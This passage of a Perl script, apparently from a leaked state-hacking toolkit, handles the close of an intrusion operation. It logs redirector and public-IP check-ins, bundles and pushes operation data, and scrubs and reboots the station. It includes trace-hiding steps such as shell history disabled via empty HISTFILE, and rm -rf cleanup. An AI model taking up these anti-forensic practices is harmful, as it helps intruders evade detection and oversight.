push(@opusers,split(/[\s,]+/,\$ans)); + last; + } +dbg("Got opusers=(@opusers)"); +} + +# We have at least one ID or would not be in here, so +# we make sure every id is there with "_" on each side. +\$operlist = "_".join("_",@opusers)."_"; +my \$defaultans = "N"; +\$defaultans = "Y" if \$nonstandard; +my \$nonstdans = getinput("\n\nWas this a nonstandard op?",\$defaultans); +print "\\a\n";sleep 1; +print "\n\n\$COLOR_FAILURE\n\\a". + "NOTE: If you answer YES to this next question, YOU are\n". + " responsible for\$COLOR_NOTE MANUAL\$COLOR_FAILURE post processing.\n\n".\$COLOR_NORMAL; +print "\\a\n";sleep 1; +my \$ans2 = getinput( + "Will special post-processing be required?","N"); +my \$baddog = ""; +while (1) { + my \$default = "ENTER NONE IF THERE ARE NONE"; + my \$more = ""; + if (\$gbl_callbackresets) { + \$default = "ENTER DONE IF THERE ARE NO MORE"; + \$more = " more"; + } + my \$ans4 = uc getinput( + "\$COLOR_FAILURE\$baddog\\nAny\$more callbacks need reset???????\$COLOR_NORMAL\\n". + "\\n\\nValid answers here include these (or any space delimited mix thereof):\\n". + " PROJECT## (name and # of OLY/UR)\\n". + " project## (same, case does not matter)\\n". + " ###### (six+ digit Val ID)\\n". + " ### (less than six digits, time in hours to reset them to, defaults to policy.\\n\\n\\n". + "\\n\\nEnter any\$more hosts that need callbacks reset:", + \$default); + last if (\$ans4 =~ /^[DN]ONE\$/); + foreach my \$ans3 (split(/\s+/,\$ans4)) { + if (\$ans3 =~ /^\d{1,5}\$/ and \$ans3 > 0) { + newhostvar("gbl_callbackinterval",\$ans3); + \$baddog = ""; + } elsif (\$ans3 !~ /^[A-Z_]*\d+\$/ and + (\$ans3 !~ /^\d{5}\d+\$/)) { + \$baddog = "\\n\\nINVALID ANSWER!!\\n\\n"; + } else { + \$gbl_callbackresets .= "," if \$gbl_callbackresets ; + \$gbl_callbackresets .= \$ans3; + newhostvar("gbl_callbackresets",\$gbl_callbackresets); + \$baddog = ""; + } + } +} + + +# Handling checkins +my %yesnotech = + ("t",2, + "n",0, + "y",1); + +my (%projecthash,%targetlines,%statushash,%typehash) = (); +# CHANGE THIS 0 to 1 to turn on checkins +my \$docheckins = ("$DOCHECKINS" or length \$ENV{"DOCHECKINS"}> 0) ? 1 : 0; +DOCHECKINS: +while (\$docheckins) { + my \$opnotesage = -M "\$opdown/opnotes.txt"; + my \$opnotesagenew = -M "\$opdown/opnotes.txt"; + newhostvar("gbl_checkallin",1); + my \$unsuccessfulpitch = ""; + # Build \$infralist from latest notes, maybe just changed + my (\$pitchcount,\$publiccount) = (0,0); + (\$project,\$targets,@projectlist) = + opnotesprojects( + \\%projecthash, + undef,#\\%alias + undef,#\\%depth + undef,#\\%hostname + \\%statushash, + undef,#\\%typehash, + undef,#\\%commentshash, + \\%targetlines, + ); + my \$content = ""; + foreach my \$key (keys %targetlines) { + \$content .= "targetlines{\$key}=$targetlines{\$key}=\n"; + } + dbg("in DOCHECKINS loops, targetlines has now has ".scalar (keys %targetlines)." entries:\n". + \$content); + + my \$infralist = "PITCHIMPAIRS\n============\n"; + foreach my \$ip (keys %targetlines) { + next unless (lc \$projecthash{\$ip} eq "pitchimpair"); + \$pitchcount++; + if (\$statushash{\$ip} !~ /^s/i) { + \$unsuccessfulpitch .= \$targetlines{\$ip}."\n"; + } + \$infralist .= \$targetlines{\$ip}."\n"; + } + + if (\$unsuccessfulpitch) { + getinput("\n\n". + "You have one or more PITCHIMPAIR redirectors not labeled successful. To use autocheckin, only\n". + "successful pitches can be checked in. Take a moment now and check in (or put in the tech check\n". + "queue), any pitches that were not successful.\n". + \$COLOR_NOTE. + \$unsuccessfulpitch. + \$COLOR_NORMAL."\n\n". + "Hit return to continue...". + ""); + } + \$opnotesagenew = -M "\$opdown/opnotes.txt"; + unless (\$opnotesage == \$opnotesagenew) { + getinput("\n\n". + \$COLOR_FAILURE. + "You MODIFIED your opnotes.txt file. Let's back up a bit and re-do some of these prompts.\n\n". + \$COLOR_NORMAL. + "Hit return to continue...". + ""); + next DOCHECKINS; + } + + \$infralist .= "\n"; + \$infralist .= "\n\nPUBLIC IPS\n==========\n"; + my \$current_externalIP = \$gbl_externalIP{"current"}; + my %publicipdone = (); + foreach my \$str (keys %gbl_externalIP) { + my \$ip = \$gbl_externalIP{\$str}; + next unless \$publicipdone{\$ip}++; + \$publiccount++; + \$infralist .= sprintf("%17s %s\n",\$ip,\$str); + } + if (\$publiccount > 1) { + getinput(\$COLOR_FAILURE."\n\n". + "WARNING: \n". + " With multpile PUBLIC IPs, autocheckin may be problematic.\n\n". + " You are responsible for confirming that your op is properly checked in.\n". + \$COLOR_NORMAL."\n\n". + "Hit return to continue\n". + ""); + } + + printboth("\n\n". + "You have \$pitchcount PITCHIMPAIR redirectors and \$publiccount public IPs used during this op.\n\n". + \$COLOR_NOTE. + \$infralist. + \$COLOR_FAILURE. + "NOTE: To use\$COLOR_NOTE autocheckin\$COLOR_FAILURE, the INFRASTRUCTURE for this operation must\n". + " EXACTLY match what is shown here. If it does not,\n". + " you must check in everything associated with this op yourself, manually.\n\n". + \$COLOR_NOTE. + "You can take a moment now and adjust accordingly, either here or elsewhere, so that you can use autocheckin.\n\n". + "\n\nHit Return to continue..."); + my \$checkindefault = \$gbl_checkallin ? "Y" : "N" ; + my \$otherdoes = "Does"; + \$otherdoes = "Other than any unsuccessful ones (which you need to take care of yourself), does\n" + if \$unsuccessfulpitch; + my \$checkinans = uc getinput( + "\$otherdoes the list above now\$COLOR_FAILURE COMPLETELY\$COLOR_NORNAL match the list assigned elsewhere to OP ID\$COLOR_NORMAL \$gbl_opschedule?",\$checkindefault); + if (\$checkinans =~ /^\s*y/i) { + newhostvar("gbl_checkallin",1); + } else { + newhostvar("gbl_checkallin",0); + } + \$opnotesagenew = -M "\$opdown/opnotes.txt"; + unless (\$opnotesage == \$opnotesagenew) { + getinput("\n\n". + \$COLOR_FAILURE. + "You MODIFIED your opnotes.txt file. Let's back up a bit and re-do some of these prompts.\n\n". + \$COLOR_NORMAL. + ""); + next DOCHECKINS; + } + + foreach my \$ip (keys %targetlines) { + next unless (lc \$projecthash{\$ip} eq "pitchimpair"); + my (\$defaultans,\$more) = ("Y"); + if (\$statushash{\$ip} !~ /^s/i) { + \$defaultans = "NO"; + \$more = "\$COLOR_FAILURE (this was \$statushash{\$ip})\$COLOR_NORMAL"; + } + my \$errmore = ""; + + while (\$docheckins) { + if (\$gbl_checkallin) { + \$which = "y"; + } else { + \$ans1 = uc getinput + ("\n\n". + "Checking in your PITCH IP(s) used.\n\n". + \$pitchline{\$ip}."\n\n". + #TODO: pitchline not populating right? + "You can answer es, o, or echcheck, and you may optionally add a\n". + "comment following your answer (on the same line, e.g. \"T did not trigger\").\n\n". + \$errmore. + "Did you want to check in PITCHIMPAIR \$ip\$more",\$defaultans); + + (\$which,undef,\$comment) = \$ans1 =~ /^\s*([ynt])(es|o|echcheck){0,1}\s*(.*)/i; + unless (defined \$yesnotech{lc \$which}) { + \$errmore = \$COLOR_FAILURE."INVALID ANSWER: \$ans1\$COLOR_NORMAL\n\n"; + next; + } + } + \$which = \$yesnotech{lc \$which}; + \$comment = " \$comment" if \$comment; + newhostvar("gbl_pitchcheckin{\$ip}","\$which\$comment"); + last; + } + } + + my %didexternalIP = (); + my \$current_externalIP = \$gbl_externalIP{"current"}; + foreach my \$str (keys %gbl_externalIP) { + my \$ip = \$gbl_externalIP{\$str}; + next if \$didexternalIP{\$ip}++; + my (\$defaultans,\$more,\$errmore) = ("Y"); + # Default to NO unless this is our current/active \$ip. + unless (\$current_externalIP eq \$ip) { + \$defaultans = "NO"; + \$more = "\$COLOR_FAILURE (which is NOT your current IP)\$COLOR_NORMAL"; + } + + while (\$docheckins){ + if (\$gbl_checkallin) { + \$which = "y"; + } else { + \$ans1 = uc getinput("\n\n". + "Checking in your Public IP(s) used.\n\n". + \$errmore. + "Did you want to check in your public IP\$more \$ip?", + \$defaultans); + (\$which,undef,\$comment) = \$ans1 =~ /^\s*([ynt])(es|o|echcheck){0,1}\s*(.*)/i; + unless (defined \$yesnotech{lc \$which}) { + \$errmore = \$COLOR_FAILURE."INVALID ANSWER: \$ans1\$COLOR_NORMAL\n\n"; + next; + } + } + \$which = \$yesnotech{lc \$which}; + unless (length "\$which" and \$which >= 0 and \$which < 2) { # YES OR NO ONLY NO TECH YET?? + \$errmore = \$COLOR_FAILURE."INVALID ANSWER: \$ans1\$COLOR_NORMAL\n\n"; + next; + } + \$comment = " \$comment" if (\$comment and ! \$comment =~ m,^\s+,); + newhostvar("gbl_publiccheckin{\$ip}","\$which\$comment"); + last; + } + } + \$opnotesagenew = -M "\$opdown/opnotes.txt"; + unless (\$opnotesage == \$opnotesagenew) { + getinput("\n\n". + \$COLOR_FAILURE. + "You MODIFIED your opnotes.txt file. Let's back up a bit and re-do some of these prompts.\n\n". + \$COLOR_NORMAL. + ""); + next DOCHECKINS; + } + + # Opnotes unchanged since last pass through, we are done + last; +} + +#CHECKINS DONE + +\$opdonebyfile = "op.done.by\$operlist"; +if (\$ans2 =~ /^y/i) { + \$specialproc = 1; +#WHY? TODO why was this taken out does it not work? +# mydo("autoproblem","-tTSELF", +# "GETOPDATA SAYS: You answered \"\$ans2\" to the question \"Will special post-processing be required?\" on your \$gbl_project op.\n". +# "TARGETS:\n\$gbl_targets"); +} else { + \$opdonebyfile .= "GTG_"; +} +if (\$nonstdans =~ /^y/i) { + \$nonstandard = 1; + \$opdonebyfile .= "NST_"; + my \$opnotes = "\$topdate/$DOWN/opnotes.txt"; + #Non-Standard: True + my @checkstd = + split(/\n/,\`egrep -i "Non-Standard:.*True" \$opnotes\`); + my \$gotone = 0; + foreach (@checkstd) { + \$gotone++ unless /^\s*\#/; + } + unless (\$gotone) { + my \$ans = getinput( + "\n\nYour opnotes.txt does not have the non-Standard: True line\n". + "in it (uncommented). Do you want to add that line?","Y" + ); + if (\$ans =~ /^y/i) { + unlink("\$top/tmpnotes"); + rename(\$opnotes,"\$top/tmpnotes"); + open(OPOUT,">\$opnotes"); + open(OPIN,"\$top/tmpnotes"); + my \$didit=0; + while () { + print OPOUT; + if (!\$didit and /^\s*Results:/) { + print OPOUT "\\nNon-Standard: True\n"; + \$didit++; + } + } + print OPOUT "Non-Standard: True\n" unless \$didit; + close(OPOUT); + close(OPIN); + } + } +} else { + \$nonstandard = 0; +} +\$opdonebyfile .= "${DATE}_"; +my (\$sec,\$min,\$hour,\$mday,\$mon,\$year,\$wday,\$yday,\$isdst,\$monstr) = + gmtime(); +\$mon++; +\$year += 1900 unless \$year > 1900; +\$opdonebyfile .= sprintf("%4d%02d%02d-%02d%02d",\$year,\$mon,\$mday,\$hour,\$min); +\$opdonebyfile =~ s/_+/_/g; +\`rm -f \$topdate/$DOWN/op.done.by*\`; + + + +# New method with pushing via copy-SPEED +# APR 2013: We no longer offer any choice, ops always go to slow, +# freshstep_tracker* always to fast. +my %valid = (); +my \$pushcmd = "copy-slow \$top/\$opdir/"; +newhostvar("gbl_pushedvia","slow"); + + +# Track op stop (do before tarball is created now, c. Mar 2010) +# This populates \$freshstep_contents so \$opdonebyfile gets latest content. +freshsteptracker("stop",\$projectnamelower); + + +# No longer putting this +# \`tail -4 \$bwmonitorfile 2>&1 >> \$topdate/$DOWN/\$opdonebyfile\`; +\$firstthis = " $DOWN/\$opdonebyfile"; + + + +# This is why down/opnotes.* is in tarball twice, we put it first +\$firstthis .= " $DOWN/opnotes.*"; + +unlink(\$bwmonitorfile) if \$bwmoncopied; + + +# move this, can cause trouble later +rename("/usr/local/bin/myenv","/usr/local/bin/myenv.".timestamp(short)); + + +my @emptydirs = sort by_path_depth split(/\n/,\`find \$topdate/$DOWN -type d | sed -e 's/^/"/g' -e 's/\\$/"/g'\`); +printboth("\n\nRemoving any empty directories in $DOWN:\n"); +printboth(\`rmdir -v @emptydirs 2>/dev/null\`); +printboth(\`rmdir -v @emptydirs 2>/dev/null\`); + +do \$global_varfile; # read in data about op just completed +my \$saveuserpw = \$gbl_oppasswd; +opuser("CLEAR"); # Ensures password is not put in tarball in any hostvars* files +my @didthisfiles = (); +if (opendir(GETOPDIR,"\$opdown")) { + @didthisfiles = grep /^didthis/ , readdir(GETOPDIR); + closedir(GETOPDIR); +} + +my \$what = "other files"; +if (@didthisfiles > 1) { + \$what = "other files (@didthisfiles)"; +} +printboth("\n\nDuplicating \$global_varfile and \$what for each Unix host seen."); +my %wipethese = (); +foreach my \$rhost (keys %gbl_nopenhosts) { + foreach \$tfile (@didthisfiles,"ispinfo.txt","redirectinfo.txt") { + my \$tfile2 = "\$opdown/\$tfile"; + if (-f \$tfile2) { + #printboth("copying \$tfile2 \tto \$tfile2.\$rhost"); + copy("\$tfile2","\$tfile2.\$rhost") + and \$wipethese{\$tfile2}++; + } + } + if (-f \$global_varfile) { + #printboth("copying \$global_varfile \tto \$global_varfile.\$rhost"); + copy(\$global_varfile,"\$global_varfile.\$rhost") + and \$wipethese{"\$global_varfile"}++; + } +} +unless (scalar keys %gbl_nopenhosts <= 0) { +# foreach my \$thisfile (@didthisfiles,"ispinfo.txt","redirectinfo.txt") { + foreach my \$thisfile (keys %wipethese) { + # Delete originals now, we got dupes per host + printboth("Removing \$thisfile"); + unlink(\$thisfile); + } +} + + + +printboth(\`ls -al \$global_varfile.* \$opdown/didthis.*\`); +printboth("Building \$topdate/\$tarball with:\\n\\n"); + +# We MOVE \$logfile now into $DOWN, it will be in tarball from now on +\$firstnopen_rhostname .= "." if \$firstnopen_rhostname; +rename(\$logfile,"$DOWN/\$gbl_firstnopen_rhostname".basename(\$logfile)); +\$firstthis .= " $DOWN/\$gbl_firstnopen_rhostname".basename(\$logfile); + + +# MAYBE DO THIS HERE LIKE IN createtarball()? needs fork that dies and here we tail -f it +# if (open(TARBALLIN,"\$tarcmd |")) { +# \$| = 1; +# while () { +# print ; +# } +# close(TARBALLIN); +# } +# Never mind, we do not want \$firstthis first anymore: +\$firstthis = ""; +# Add +printboth("tar cvjf \$tarball \$firstthis op.done.by* $DOWN*\\n\\n"); +printboth(\`tar cvjf \$tarball \$firstthis op.done.by* $DOWN* ; ls -al \$tarball\`); +if (\$?) { + printboth("DOH! Couldn't build tarball with this: + + +tar cvjf \$tarball \$firstthis op.done.by* $DOWN* + + +Something seriously wrong there.....\\a + +"); + + # For now, preserve these...eventually get rid of them here as the one just + # packed up had the tail end of the last log, and the new stuff from op just done. + preservefile(\$logfile); + sleep 2; +} else { + #this way was too much too soon + #@wipethese = split( /\\n/ , \`ls -a1 \$topdate | egrep "$TOOLS|$TEXTS|$UP|$DOC"\`); + + @wipethese = split(/ /, "$WIPETHESE"); + + printboth("\\n\\n\\aFollowing files & directories will be deleted next time +$PROG is run:\\n"); + + foreach (@wipethese) { + printboth("\t\$_\\n"); +#not done here, now at top of ${PROG} +# \`rm -rf \$topdate/\$_\`; + } + + if (-e "/tmp/zipstatus") { + \$zipstatus = myreadfile("/tmp/zipstatus"); + unlink ("/tmp/zipstatus"); + } + \$notdone = 1; + \$size = -s "\$tarball" ; + \$floppycount=0; +} +# Now we leave \$tarball in /current +#\`rm -f \$tarball\`; + +printboth("\\n\\n\\n"); + +my \$opdir = \$datedir; + +# No longer renaming topdate ever too confusing, no need with GEN3s anyway +#if ("\$topdate" =~ /-\$target\$/) { +# printboth("\\nOp data directory REMAINS IN \$topdate\\n"); +#} else { +# rename("\$topdate","\$topdate-\$target"); +# \$topdate = "\$topdate-\$target"; +# \$opdir = "\$datedir-\$target"; +# unlink("/current"); +# symlink("\$top/\$opdir","/current"); +# printboth("\\nOp data directory renamed to \$opdir\\n"); +# chdir("\$top/\$opdir"); +#} + +# by now this one is already in /usr/local/bin if it needs to be and it +# can mess up the next guy if it is an old one so bag it. +unlink("\$top/\$opdir/bin/scrubhands") ; + +my \$terminate = 0; +while (!\$terminate) { + if (\$sharetarball) { + # Winbox will take care of the push, delete old files first + \`rm -rf /share/down/NOTDONE* /share/down/op.done* /share/down/*bz2 /share/down/opnotes.txt ; touch /share/down/NOTDONE\`; + my \$checksmb = \`service smb status\`; + system("service smb restart 2>&1 | tee -a \$logfile") if \$checksmb =~ /smbd.*stopped/; + copy("\$top/\$opdir/$DOWN/opnotes.txt","/share/down/opnotes.txt"); + copy("\$top/\$opdir/$DOWN/\$opdonebyfile","/share/down/"); + copy("\$tarball","/share/down/NOTDONE") ; + # Winbox scripts should ignore it with NOTDONE, once done with copy, + # this rename makes it end in bz2. + \`chmod -R a+rwX /share/down/*\`; + system("sync"); + sleep 3; + system("sync"); + rename("/share/down/NOTDONE","/share/down/\$tarball") ; + rename("\$tarball","/root/PUSHED/\$tarball.winpushed"); + \`chmod -R a+rwX /share/down/*\`; + my \$tarballatime = -A "/share/down/\$tarball"; + my \$sleepcount = 0 ; + printboth("\\n\\n\\n\\n\$COLOR_NOTE\\n\\n\\n"); + printboth("You can proceed now on the windows ops box.\\n\\n". + "It can now see the tarball and opnotes.txt on the share:\\n\\n". + \`ls -al /share/down/\$tarball /share/down/op*\`); + sleep 2; + while (1) { + my \$still = ""; + printboth("\n".gmtime()." ...\${still}waiting on Windows ops box to access the tarball...") + if (\$sleepcount == 0 or ! \$sleepcount % 15); + \$still = "still "; + sleep 1 ; + \$sleepcount++; + my \$newtime = -A "/share/down/\$tarball"; + last if \$newtime < \$tarballatime; + } + my \$countdown = 6; + printboth("\\n\\nSomething just accessed \$tarball\\n". + "presumably the Windows ops box...\\n\\n". + "Giving it \$countdown seconds to finish the copy...\\n"); + while (\$countdown-- > 0) { + sleep 1; + printboth(" \$countdown...\\n"); + } + print + ("This system will scrub and reboot when you hit RETURN below.\\n\\n". + "Or you can Ctrl-C here and run copy-[fast|slow|emerg] manually\\n". + "(or otherwise do what you need to do).\\n\\n". + "You may need to rearrange files to use copy-* though, as those scripts\\n". + "only look for \$top/*/*.bz2 files.\\n\\n"); + + # We move thid to DONE since we are not running copy-SPEED here, which + # usually does that move. + \$terminate = 1; + # No longer renaming topdate ever too confusing, no need with GEN3s anyway + #rename("\$top/\$opdir/","\$top/DONE/".basename(\$opdir)); + #symlink("\$top/DONE/".basename(\$opdir),"/current"); + } else { + \$terminate = -1; + } +} + +# OP IS DONE +if (\$terminate > 0) { + printboth( + \`ls -alu /share/down/\$tarball /share/down/op*\`. + "\\n\\n\\nThe Unix tarball above has been accessed by the Windows station. There is probably no need to\\n". + "push the data forward separately here, as the Windows station takes care of that.\\n\\n". + "If you DO need time on this station, you can ^C the scrub process and take as much time as you like.\\n". + "The next op will complete the scrub of this and that op's data.\\n\\n" + ); +} else { + # Push data + printboth("Pushing data via: \$pushcmd\\n\\n"); + while (1) { + unlink("/tmp/testpush"); + system("\$pushcmd 2>&1 | tee /tmp/testpush | tee -a \$logfile"); + \$pushresult = myreadfile("/tmp/testpush"); + dbg("Just pushed tracker with \$trackpush, returned\nBEGINPUSH\n\$pushresult\nEOFPUSH"); + printboth(\$pushresult,"LOGONLY"); + if (\$pushresult =~ /DID NOT ARRIVE SUCCESSFULLY/) { + freshsteptracker("pushFAILED",\$projectnamelower); + my \$ans = getinput( + "\\n\\n\\n\$COLOR_FAILURE\\n\\nTHAT FAILED!!\\n\\n\\n". + "Do you want to try again? Maybe fix your $PRIVATEETHER interface (with Suite-Select-Linux)?" + ); + last unless (\$ans =~ /^y/i); + } else { + freshsteptracker("pushed",\$projectnamelower); + last; + } + } +} + +#system("iptables -F"); +#print "Flushing iptables rules...done\\n\\n"; + +chdir("/tmp"); +# copy-* push above moved our dir into DONE. Fix /current link to point there. +#unlink("/current"); +#symlink("\$top/DONE/".basename(\$opdir),"/current"); + +donereboot(); + + +# BELOW REMAINING LINES ARE OLD AND NO LONGER HIT AS WE JUST REBOOTED + +printboth("$PROG (v.$SCRUBVER) is done. You can now:\\n\\nreboot\\n\\n\\n"); +\$tmp = rand(20100) ; +if (\$tmp < 10000) { + \$msg = "RABBIT SEASON!"; +} elsif (\$tmp < 20000) { + \$msg = "DUCK SEASON!"; +} else { # this is only 0.5% of the time + \$msg = "SHOOT ME NOW!"; +} + +system("HISTFILE= HISTSIZE= HISTFILESIZE= $TERM -name tcp -title \"\$msg\" -display $TCPDISPLAY -geometry 100x25-0-0 -e bash &"); +\$| = 1; # unbuffered output +while (1) { + sleep 25; + printboth("\\a"); +} + +sub roomlookup { + %tennets = ( + "10.0", "North", + "10.10","South", + "10.20","East", + "10.30","West", + "10.1" ,"North-new", + "10.11","South-new", + "10.21","East-new", + "10.31","West-new", + ); + + while (\$locnum < 26) { + \$locs{\$locnum} = \$locnum; + \$locnum++; + } + my (\$loc,\$room) = split(/[\n\r]+/,(myreadfile("/site.txt"))); + if (\$genthree) { + + (\$room,\$loc) = \$gbl_genthreesuite =~ m,(\d+-\d+)-(\d+),; + (\$loc,\$room) = split(/[\n\r]+/,(myreadfile("/mnt/hgfs/host/site.txt"))) + unless (\$loc and \$room); + \$room = \$genthreesuite unless \$room; # OR: \$room = \$genthreesuite unless \$room; ??? + + my \$more = ""; + while (\$room !~ /^\d+\-\d+$/) { + (undef,\$room) = mygetinput + (\$more. + "You are on a GEN3 station (\$genthree).\n\n". + "Where are you (Room-Station)?"); + \$more = "\n\$COLOR_FAILURE\n\nINVALID ANSWER\$COLOR_NORMAL\n\nTry Again.\n\n"; + } + while (!\$locs{ucfirst \$loc}) { + my \$more = ""; + (undef,\$loc) = mygetinput + (\$more. + "locs{\$loc}=\$locs{\$loc}=\n". + "This is not good. On GEN3 stations, /mnt/hgfs/host/site.txt is supposed to exist.\n\n". + "What is your site (North, South, East, West, etc., or its integer)?"); + \$more = "\n\$COLOR_FAILURE\n\nINVALID ANSWER\$COLOR_NORMAL\n\nTry Again.\n\n"; + } + } else { #Genolder + #TODO: Implement room lookup, returns ##-##, room-station. + while (\$room !~ /^\d+\-\d+$/) { + (undef,\$room) = mygetinput + (\$more. + "Where are you (Room-Station)?"); + \$more = "\n\$COLOR_FAILURE\n\nINVALID ANSWER\$COLOR_NORMAL\n\nTry Again.\n\n"; + } + my \$tennet = 0; + \$loc = "$OLDSITE" if ("$OLDSITE"); + unless (\$locs{ucfirst \$loc}) { + unless (\$ethprivaddr) { + (\$ethprivaddr) = + \`ifconfig $PRIVATEETHER | grep inet.addr\` =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/ ; + (\$ethpubaddr) = + \`ifconfig $PUBLICETHER | grep inet.addr\` =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/ ; + } + (\$tennet) = \$ethprivaddr =~ /^(\d+\.\d+)/; + \$loc = \$tennets{\$tennet} if defined \$tennets{\$tennet} ; + } + while (!\$locs{ucfirst \$loc}) { + my \$more = ""; + my (undef,\$loc) = mygetinput + (\$more. + "What is your site (North, South, East, West, etc., or its integer)?"); + \$more = "\n\$COLOR_FAILURE\n\nINVALID ANSWER\$COLOR_NORMAL\n\nTry Again.\n\n"; + } + } + my \$locnum = \$locs{ucfirst \$loc}; + newhostvar("gbl_gensuite","\$room-\$locnum"); + newhostvar("gbl_gensite",\$loc); + if (\$genthree) { + newhostvar("gbl_genthreesuite",\$gbl_gensuite); + \$genthreesuite = \$gbl_genthreesuite; + } + return(\$room,\$locnum,\$loc); +} +# roomlookup + + +sub docommandline { + # May or may not return, set this to exit + my \$exitdone = 0; + + + printlog("In docommandline(@_)\n"); + + \$def_u = "DEPLOYED"; + \$def_s = "SUCCESSFUL"; + + my %toolusage = ( + "DEPLOYED",1, + "EXERCISED",1, + "INSTALLED",1, + ); + my %toolstatus = ( + "SUCCESSFUL",1, + "UNSUCCESSFUL",1, + ); + + \$usagetextcomingsoon=" + + -t FILE Log one or more tools (see also -s). The file must be in the + usual etc/VERSION format, namely (one per line): + TOOL platform vVERSION + e.g.: STOICSURGEON sparc-sun-solaris2.9 v1.4.34.2 + + -s STATUS Status of logged tool(s). Defaults to \$def_s, must be one of:\n". + " ". + join("\n ",sort keys %toolstatus)."\n + -u USAGE What the tool use was. Defaults to \$def_u, must be one of:\n". + " ". + join("\n ",sort keys %toolusage)."\n +"; + my \$newvalue = shift @ARGV; + usage() if (\$opt_h or + \$opt_v or + (@ARGV > 1 and \$optcount == 1) or + (\$newvalue and \$optcount > 1)); + + \$toolusage = defined \$opt_u ? uc \$opt_u : \$def_u ; + \$toolstatus = defined \$opt_s ? uc \$opt_s : \$def_s ; + + mydie("Not a valid usage: -u \$toolusage") + unless (\$toolusage{\$toolusage}); + + mydie("Not a valid status: -s \$toolstatus") + unless (\$toolstatus{\$toolstatus}); + +# opuser() sets \$gbl_opuser and \$gbl_oppasswd gobals +opuser(-1,1); # 2nd arg ==> no password yet +@opusers = (\$gbl_opuser); + + if (\$opt_V) { + my \$label = "V:" if \$optcount > 1; + my @results = reverse verval(\$opt_V); + printboth("\$label@results\n"); + \$exitdone++; + } + + if (\$opt_t) { + mydie("Not yet implemented"); + } + + if (\$opt_T) { + my \$label = "T:" if \$optcount > 1; + if (\$gbl_targets) { + print "\${label}Targets section:\$gbl_targets\\n\\n"; + } else { + mydie("Targets section not yet populated--have you saved your opnotes?\n"); + } + if (\$gbl_modifiedtargets) { + print "Modified targets section:\\n". + \$gbl_modifiedtargets . + "\\n"; + } + \$exitdone++; + } + + if (\$opt_M) { + my \$label = "M:" if \$optcount > 1; + my @a = bwsofar(); + print "\$label\$a[0]\n" if (@a); + \$exitdone++; + } + + if (\$opt_S) { + my \$label = "S:" if \$optcount > 1; + if (\$newvalue) { + mydie("Schedule ID \$newvalue is not valid, must be 14 digits") + unless (\$newvalue =~ /^\d{14}\$/); + newhostvar("gbl_opschedule",\$newvalue); + mydie("Now set in \$global_varfile: ".\`grep gbl_opschedule \$global_varfile\`."\n\n". + "Fix your opnotes with these vi commands now (ESCape out of insert mode first):\n\n". + " mx\n". + " :%s\#OPSCHEDULE=.*\#OPSCHEDULE=\$gbl_opschedule\#g\n". + " \`x\n"); + + } + if (\$gbl_opschedule and \$gbl_opschedule ne "UNKNOWN") { + printboth("\$label\$gbl_opschedule\n"); + \$exitdone++; + } else { + mydie("Schedule ID not yet set\n"); + } + } + + if (\$opt_O) { + my \$label = "O:" if \$optcount > 1; + if (\$newvalue) { + mydie("Operator ID \$newvalue is not valid, must be one or more comma delimited five digit integers") + unless (\$newvalue =~ /^\d{5}(,\d{5}){0,}\$/); + newhostvar("gbl_opuser",\$newvalue); + mydie("Now set in \$global_varfile: ".\`grep gbl_opuser \$global_varfile\`."\n\n". + "Fix your opnotes with these vi commands now (ESCape out of insert mode first):\n\n". + " mx\n". + " :%s\#OPUSER=.*\#OPUSER=\$gbl_opuser\#g\n". + " \`x\n"); + + } + if (\$gbl_opuser) { + printboth("\$label\$gbl_opuser\n"); + \$exitdone++; + } else { + mydie("User ID not yet set\n"); + } + } + if (\$opt_P) { + my \$label = "P:" if \$optcount > 1; + if (\$newvalue) { + \$newvalue = uc \$newvalue; + mydie("Project name \$newvalue is not valid, must be alpha, digits and underscore only") + unless (\$newvalue =~ /^[A-Z][A-Z0-9_]+\$/); + opproject(\$newvalue); + mydie("Now set in \$global_varfile: \n". + \`egrep \"gbl_(opproject|project|genthreeopname)\" \$global_varfile\`."\n\n". + "Fix your opnotes with these vi commands now (ESCape out of insert mode first):\n\n". + " mx\n". + " :%s\#OPPROJECT=.*\#OPPROJECT=\$gbl_genthreeopname\#g\n". + " \`x\n"); + + } + my \$projoutput = ""; + if (\$gbl_genthreeopname) { + \$projoutput .= "\$label\$gbl_genthreeopname (per gen3opname)\n"; + \$exitdone++; + } + if (\$gbl_opproject) { + \$projoutput .= "\$label\$gbl_opproject (per opproject)\n"; + \$exitdone++; + } + if (\$projoutput) { + printboth(\$projoutput); + } else { + mydie("Project not yet set\n"); + } + } + if (\$opt_H) { + my \$label = "H:" if \$optcount > 1; + my \$mysite = \$locs{\$genthreesite}; + my \$ans = "\$genthreehost,\$genthreesuite,\$mysite"; + \$ans =~ s/-/,/g; + if (\$ans =~ /^\d+,\d+,\d+,\d+$/) { + print "\$label\$ans\n"; + \$exitdone++; + } else { + mydie("Host/suite information unavailable\n"); + } + } + exit 0 if \$exitdone; +} + +sub nondatafiles { + # Sets \$filesarrref to be the list of all non-data files, + # returns hashed array: %ipfiles set with + # \$ipfiles{\$ip} = list (with newlines) of all files that match that IP + # skipping a bunch we know are not op data (our stuff, that is) + # with any containing 127.0.0.1 highlighted in red. + # + local (\$override,\$filesarrref,@dirs) = (@_); + dbg("Inside nondatafiles(@_)"); + @\$filesarrref = split(/\n/,\`find @dirs -type f 2>/dev/null\`); + unless (\$override) { + @\$filesarrref = grep ! m,/down/, , @\$filesarrref; + @\$filesarrref = grep ! m,/pcaps/, , @\$filesarrref; + @\$filesarrref = grep ! m,/freshstep, , @\$filesarrref; + @\$filesarrref = grep ! m,/copy-.*log, , @\$filesarrref; + @\$filesarrref = grep ! m,/dammit, , @\$filesarrref; + } + dbg("nondatafiles(0,\$filesarrref,@dirs) set filesarrref=(@\$filesarrref)"); + foreach (@\$filesarrref) { + # Flag as maybe data worth keeping if it has an IP in it + next unless /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + dbg("\$_ may have an IP!"); + my \$ip = \$1; + my (\$nocolor,\$warncolor) = (); + if (\$ip eq "127.0.0.1") { + \$warncolor = \$COLOR_FAILURE; + \$nocolor = \$COLOR_NORMAL; + } + + # Except do not flag on our own tool names, some have versions that have + # four "octets". + next if /ftshell|tipoff|ourtn|Decode|Dewdrop|exactchange|elatedmonkey|Dubmoat|enemyrun|epoxyresin|eleganteagle/; + next if m,/(orleansstride|morerats|jscanner_pkg|varkeys|stoicctrls|suctioncharagents|crypttool|enemyrun|suctionchardecodes|dewdrops)/,; + next if 